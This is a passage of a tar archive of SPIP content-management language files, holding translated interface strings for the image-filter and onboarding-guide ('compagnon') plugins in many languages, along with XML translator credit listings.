'zbug_statistiques' => 'Süreye göre sınıflanmış SQL istekleri istatistikleri',
'zbug_table_inconnue' => '« @table@ » SQL tablosu tanımsız',
'zxml_connus_attributs' => 'bilinen öznitelikler',
'zxml_de' => 'nın / nin',
'zxml_inconnu_attribut' => 'bilinmeyen öznitelik',
'zxml_inconnu_balise' => 'bilinmeyen etiket',
'zxml_inconnu_entite' => 'bilinmeyen madde',
'zxml_inconnu_id' => 'bilinmeyen ID',
'zxml_mais_de' => 'ama nın / nin',
'zxml_non_conforme' => 'amaca uygun değil',
'zxml_non_fils' => 'bir alt maddesi değil',
'zxml_nonvide_balise' => 'boş olmayan etiket',
'zxml_obligatoire_attribut' => 'zorunlu ama belirtilmemiş etiket',
'zxml_succession_fils_incorrecte' => 'alt maddelerin peşpeşe gelmesi hatalı',
'zxml_survoler' => 'doğruları görmek için üzerindne geçmek ???',
'zxml_valeur_attribut' => 'özniteliğin değeri',
'zxml_vide_balise' => 'boş etiket',
'zxml_vu' => 'önceden görülen'
);
?>
paquet-images_it.php 0000666 00000000722 15252560564 0010532 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtri di trasformazione delle immagini e dei colori',
'images_slogan' => 'Filtri di trasformazione delle immagini e dei colori'
);
?>
paquet-images_pt.php 0000666 00000000700 15252560564 0010535 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Processamento de imagens e filtros de cores',
'images_slogan' => 'Processamento de imagens e filtros de cores'
);
?>
paquet-images_pt_br.php 0000666 00000000715 15252560564 0011226 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtros de transformação de imagens e de cores',
'images_slogan' => 'Filtros de transformação de imagens e de cores'
);
?>
paquet-images_es.php 0000666 00000000724 15252560564 0010527 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtros de transformación de imágenes y de colores ',
'images_slogan' => 'Filtros de transformación de imágenes y de colores '
);
?>
paquet-images_nl.php 0000666 00000000662 15252560564 0010532 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Beeld en kleur transformatie filters',
'images_slogan' => 'Beeld en kleur transformatie filters'
);
?>
paquet-images_sk.php 0000666 00000000700 15252560564 0010527 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtre na transformáciu obrázkov a farieb',
'images_slogan' => 'Filtre na transformáciu obrázkov a farieb'
);
?>
paquet-images_fr_fem.php 0000666 00000000724 15252560564 0011356 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtres de transformation d’images et de couleurs',
'images_slogan' => 'Filtres de transformation d’images et de couleurs'
);
?>
paquet-images_en.php 0000666 00000000662 15252560564 0010523 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Images processing and colors filters',
'images_slogan' => 'Images processing and colors filters'
);
?>
paquet-images_ar.php 0000666 00000000725 15252560564 0010523 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'مرشحات معالجة الصور والألوان ',
'images_slogan' => 'مرشحات معالجة الصور والألوان'
);
?>
paquet-images_fa.php 0000666 00000000755 15252560564 0010512 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'فيلترهاي پردازش تصويرها و رنگها',
'images_slogan' => 'فيلترهاي پردازش تصويرها و رنگها'
);
?>
paquet-images_lb.php 0000666 00000000714 15252560564 0010514 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Ännerungs-Filteren fir d’Biller an d’Faarwen',
'images_slogan' => 'Ännerungs-Filteren fir d’Biller an d’Faarwen'
);
?>
paquet-images.xml 0000666 00000007204 15252560564 0010051 0 ustar 00 <traduction module="paquet-images" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/filtres_images/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-images?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-images_ru.php 0000666 00000001000 15252560564 0010532 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Набор фильтров по работе с изображениями',
'images_slogan' => 'Набор фильтров по работе с изображениями'
);
?>
paquet-images_de.php 0000666 00000000622 15252560564 0010505 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-images?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Bild- und Farbfilter',
'images_slogan' => 'Bild- und Farbfilter'
);
?>
paquet-images_fr.php 0000666 00000000661 15252560564 0010527 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/filtres_images/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'images_description' => 'Filtres de transformation d’images et de couleurs',
'images_slogan' => 'Filtres de transformation d’images et de couleurs'
);
?>
compagnon_fr.php 0000666 00000010016 15252575443 0007743 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/compagnon/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bienvenue @nom@ !',
'c_accueil_configurer_site' => 'Configurer votre site',
'c_accueil_configurer_site_texte' => 'Une des premières choses à faire est de donner un nom à votre site.
Il se nomme actuellement « @nom@ ». Le nom du site est affiché tout en haut de cette page.
En cliquant dessus, vous pourrez modifier son nom, mais aussi lui donner un logo et un slogan.',
'c_accueil_publication' => 'Publiez !',
'c_accueil_publication_texte' => 'Pour publier une page, il vous faudra créer un article.
Il est nécessaire pour cela de créer au moins une rubrique. Vous pouvez le faire dans le menu « Édition » en cliquant « Rubriques ».',
'c_accueil_texte' => 'Vous venez d’entrer dans l’espace privé de SPIP.',
'c_accueil_texte_revenir' => '
Cette page présente l’activité éditoriale récente sur votre site.
Vous pouvez revenir sur cette page à tout instant en cliquant l’icône de maison,
sur la partie haute, sous votre nom.',
'c_article_redaction' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur_texte' => 'Pour proposer votre article aux administrateurs du site et aux autres rédacteurs,
dans le cadre sur le côté, changez « en cours de rédaction » par « proposé à la publication ».',
'c_article_redaction_texte' => 'Pour publier cet article sur le site public, il faut changer son statut.
Dans le cadre sur le côté, changez « en cours de rédaction » par « publié en ligne ».',
'c_articles_creer' => 'Comment créer un article ?',
'c_articles_creer_texte' => 'Vous ne pourrez créer un article depuis cette page
qu’à partir du moment où il existe une rubrique dans votre site.
Vous pouvez la créer depuis le menu « Édition », puis « Rubriques ».',
'c_job' => 'Les travaux à faire…',
'c_job_texte' => 'Cette page liste les prochaines tâches de maintenance
que doit effectuer SPIP. Ces tâches sont exécutées à intervalle régulier
ou ponctuellement pour des traitements lourds demandés par des plugins,
tel que l’envoi d’email en masse.',
'c_rubrique_publier' => 'Créez un article',
'c_rubrique_publier_texte' => 'Une rubrique n’est visible sur le site public
qu’à partir du moment où elle contient au moins un contenu publié ; par exemple : un article publié.
Créez donc un article. Vous pouvez le faire depuis cette page, sous le descriptif de votre rubrique.',
'c_rubriques_creer' => 'Créez une première rubrique !',
'c_rubriques_creer_texte' => 'Les rubriques sont la structure de base du site ; vous pourrez créer des articles dans chacune d’entre elles.
Commencez par créer une première rubrique.',
// E
'explication_activer_compagnon' => 'Le compagnon ajoute des commentaires sur certaines pages
de l’espace privé pour aider à prendre SPIP en main. Souhaitez-vous l’activer ?',
'explication_reinitialiser_compagnon' => 'Les messages déjà vus par un auteur ne sont plus affichés ensuite.
Souhaitez-vous réinitialiser ces messages ?',
// L
'label_activer_compagnon' => 'Activer le compagnon ?',
'label_reinitialiser_compagnon' => 'Réinitialiser les messages du compagnon ?',
// O
'ok' => 'OK',
'ok_bien' => 'Bien !',
'ok_jai_compris' => 'J’ai compris !',
'ok_merci' => 'Merci',
'ok_parfait' => 'Parfait !',
// R
'reinitialisation' => 'Réinitialisation',
'reinitialisation_ok' => 'La réinitialisation est effectuée.',
'reinitialiser' => 'Réinitialiser',
'reinitialiser_moi' => 'Oui, uniquement ceux que j’ai déjà lu',
'reinitialiser_tous' => 'Oui, quel que soit l’auteur',
// T
'titre_compagnon' => 'Le Compagnon',
'titre_page_configurer_compagnon' => 'Configurer le Compagnon'
);
?>
paquet-compagnon_it.php 0000666 00000001045 15252575443 0011247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'L’assistente fornisce una guida agli utenti durante la loro prima visita all’area riservata di SPIP.',
'compagnon_nom' => 'Assistente',
'compagnon_slogan' => 'Assistente per il primo utilizzo di SPIP'
);
?>
paquet-compagnon.xml 0000666 00000010017 15252575443 0010563 0 ustar 00 <traduction module="paquet-compagnon" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/compagnon/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=ar" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=de" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=eo" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=fa" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=fr_fem" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=it" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=lb" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=nl" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=pt" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=pt_br" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=ru" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=sk" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-compagnon_pt.php 0000666 00000001022 15252575443 0011251 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'O guia oferece assistência as utilizadores durante a sua primeira visita à área privada de SPIP.',
'compagnon_nom' => 'Guia',
'compagnon_slogan' => 'Assistente de iniciação a SPIP'
);
?>
paquet-compagnon_eo.php 0000666 00000001003 15252575443 0011230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'La kompano proponas helpon por uzantoj dum liaj unuaj vizitoj al SPIP privata spaco.',
'compagnon_nom' => 'Kompano',
'compagnon_slogan' => 'Helpanto por SPIP-komencantoj'
);
?>
paquet-compagnon_es.php 0000666 00000001042 15252575443 0011237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'El compañero ofrece ayuda a los usuarios durante su primera visita al espacio privado de SPIP.',
'compagnon_nom' => 'Compañero',
'compagnon_slogan' => 'Asistente para dar los primeros pasos con SPIP'
);
?>
compagnon_ca.php 0000666 00000007466 15252575443 0007736 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Benvingut @nom@!',
'c_accueil_configurer_site' => 'Configura la teva pàgina',
'c_accueil_configurer_site_texte' => 'Una de les primeres coses a fer és donar un nom a la teva pàgina. Ara s’anomena "@nom@". El nom de la pàgina apareix a la part superior d’aquesta pàgina. En fer-hi clic pots canviar-li el nom, així com afegir-li un logotip i un eslògan.',
'c_accueil_publication' => 'Publica-ho!',
'c_accueil_publication_texte' => 'Per a publicar una pàgina has d’escriure un article.
També cal que creïs almenys una secció per a poder fer-ho. Pots continuar fent clic al menú "Edició" i després a "Seccions".',
'c_accueil_texte' => 'Acabes d’entrar a la zona privada d’SPIP.',
'c_accueil_texte_revenir' => 'Aquesta pàgina mostra la última activitat editorial de la teva pàgina.
Pots visitar aquesta pàgina en qualsevol moment fent clic al botó de la casa,
a la part superior, a sota del teu nom.',
'c_article_redaction' => 'L’article s’està escrivint.',
'c_article_redaction_redacteur' => 'L’edició d’aquest article està en curs.',
'c_article_redaction_redacteur_texte' => 'Per a proposar el teu article als administradors de la pàgina i als altres editors, canvia, dins el bloc de la columna del costat, "edició en curs" per "enviat per avaluar".',
'c_article_redaction_texte' => 'Per a publicar aquest article a la pàgina pública, canvia’n l’estat.
Al bloc de la columna del costat, canvia "edició en curs" per "publicat en línia".
',
'c_articles_creer' => 'Com escriure un article?',
'c_articles_creer_texte' => 'No pots escriure un article des d’aquesta pàgina
llevat que hi hagi almenys una secció a la teva pàgina.
Pots crear-la des del menú "Seccions" a sota d’"Editar".
',
'c_job' => 'Feina per a fer...',
'c_job_texte' => 'Aquesta pàgina enumera les properes tasques de manteniment que SPIP haurà de fer. Aquestes tasques s’executen amb regularitat o de manera ocasional degut al pesat processament que requereixen els plugins com l’enviament de correu electrònic massiu.',
'c_rubrique_publier' => 'Escriu un article',
'c_rubrique_publier_texte' => 'Una secció és visible a la pàgina pública només des del moment que conté almenys un contingut publicat, com, per exemple, un article publicat.
Així doncs, escriu un article. Pots fer-ho des de la pàgina a sota de la descripció de la teva secció.',
'c_rubriques_creer' => 'Crea la primera secció!',
'c_rubriques_creer_texte' => 'Les seccions són l’estructura bàsica de la pàgina, i pots escriure-hi articles. Comença per crear la primera secció.',
// E
'explication_activer_compagnon' => 'El company afegeix comentaris a algunes pàgines de la zona privada per ajudar a encarregar-se d’SPIP. Voldrieu activar-lo?',
'explication_reinitialiser_compagnon' => 'Llavors els missatges ja vistos per un autor no es mostraran.
Voldrieu reiniciar aquests missatges?',
// L
'label_activer_compagnon' => 'Activar el Company?',
'label_reinitialiser_compagnon' => 'Reiniciar els missatges del Company?',
// O
'ok' => 'D’acord',
'ok_bien' => 'Molt bé!',
'ok_jai_compris' => 'Ja ho tinc!',
'ok_merci' => 'Gràcies',
'ok_parfait' => 'Perfecte!',
// R
'reinitialisation' => 'Reinici',
'reinitialisation_ok' => 'Reinici complet',
'reinitialiser' => 'Reiniciar',
'reinitialiser_moi' => 'Sí, només aquells que ja he llegit',
'reinitialiser_tous' => 'Sí, sigui qui sigui l’autor',
// T
'titre_compagnon' => 'El Company',
'titre_page_configurer_compagnon' => 'Configura el company'
);
?>
compagnon_lb.php 0000666 00000007300 15252575443 0007733 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Wëllkom @nom@!',
'c_accueil_configurer_site' => 'Äre Site astellen',
'c_accueil_configurer_site_texte' => 'Eng vun den éischte Saachen ass ärem Site e Numm ginn.
De Moment heescht en "@nom@". De Numm vum Site ass uewe op der Säit ugewisen.
Wann dir drop klickt kënnt dir de Numm änneren, an him och e Logo oder Slogan ginn.',
'c_accueil_publication' => 'Verëffentlecht!',
'c_accueil_publication_texte' => 'Fir eng Säit ze verëffentleche musst dir en Artikel bäiflécken.
Duerfir musst dir op mannst eng Rubrik bäiflécken. Dir kënnt dat am Menu "Editioun" maachen andeem dir op "Rubrike" klickt.',
'c_accueil_texte' => 'Dir sidd elo am privaten Deel vu SPIP.',
'c_accueil_texte_revenir' => 'Dës Säit weist déi rezent editorial Aktivitéit op ärem Site.
Dir kënnt op dës Säit zeréck andeem dir op d’Haus-Symbol, uewen ënnert ärem Numm, klickt.',
'c_article_redaction' => 'Den Artikel ass an der Redaktioun',
'c_article_redaction_redacteur' => 'Den Artikel ass an der Redaktioun',
'c_article_redaction_redacteur_texte' => 'Fir ären Artikel den Administrateure vum Site an deenen anere Redakteren virzeschloën, ännert am Cadre lénks "an der Aarbecht" op "virgeschloën".',
'c_article_redaction_texte' => 'Fir dësen Artikel um ëffentleche Site ze weisen, musst dir säi Status änneren.
Am Cadre lénks, ännert "an der Aarbecht" op "verëffentlecht".',
'c_articles_creer' => 'Wéi kann ech en Artikel bäiflécken?',
'c_articles_creer_texte' => 'Dir kënnt en Artikel nëmme bäiflécken wann et eng Rubrik op ärem Site gëtt.
Dir kënnt eng Rubrik bäiflécken iwwert de Menu "Editioun", dann "Rubriken".',
'c_job' => 'Aarbechten déi nach bleiwen...',
'c_job_texte' => 'Dëst ass d’Lëscht vun de Maintenance-Aarbechten déi SPIP maache muss. Déi Aarbechten ginn a regelméissegen Ofstänn oder punktuell fir gréisser Saache gemaach, z.B. e Mailing.',
'c_rubrique_publier' => 'Maacht en Artikel',
'c_rubrique_publier_texte' => 'Eng Rubrik ass op ärem Site nëmme siichtbar wann e verëffentlechten Inhalt dran ass, z.B. e verëffentlechten Artikel.
Fléckt also en Artikel bäi. Dir kënnt dat op dëser Säit maachen, ënnert der Beschreiwung vun der Rubrik.',
'c_rubriques_creer' => 'Fléckt eng éischt Rubrik bäi!',
'c_rubriques_creer_texte' => 'D’Rubrike sinn d’Basis-Struktur vum Site; a jidderenger Rubrik kënnt dir Artikele bäiflécken.
Fänkt mat enger éischter Rubrik un.',
// E
'explication_activer_compagnon' => 'De Compagnon setzt Kommentaren op verschidde Säite vum privaten Deel bäi fir bei der Benotzung vu SPIP ze hëllefen. Wëllt dir en aschalten?',
'explication_reinitialiser_compagnon' => 'D’Messagen déi schonns vun engem Auteur gesinn goufen gi nët méi gewisen. Wëllt dir all d’Message nei starten?',
// L
'label_activer_compagnon' => 'De Compagnon schalten?',
'label_reinitialiser_compagnon' => 'D’Message vum Compagnon nei starten?',
// O
'ok' => 'OK',
'ok_bien' => 'Gutt!',
'ok_jai_compris' => 'Ech hu verstan!',
'ok_merci' => 'Merci',
'ok_parfait' => 'Perfekt!',
// R
'reinitialisation' => 'Nei-Start',
'reinitialisation_ok' => 'De Nei-Start gouf gemach.',
'reinitialiser' => 'Nei-Starten',
'reinitialiser_moi' => 'Jo, nëmmen déi déi ech schonns gesinn hun',
'reinitialiser_tous' => 'Jo, egal wéi en Auteur',
// T
'titre_compagnon' => 'De Compagnon',
'titre_page_configurer_compagnon' => 'De Compagnon astellen'
);
?>
paquet-compagnon_nl.php 0000666 00000001024 15252575443 0011241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'De metgezel helpt de gebruikers tijdens
hun eerste bezoek in het privé-ruimte van SPIP',
'compagnon_nom' => 'Metgezel',
'compagnon_slogan' => 'Assistent van de eerste steppen met SPIP'
);
?>
compagnon_ru.php 0000666 00000014521 15252575443 0007767 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
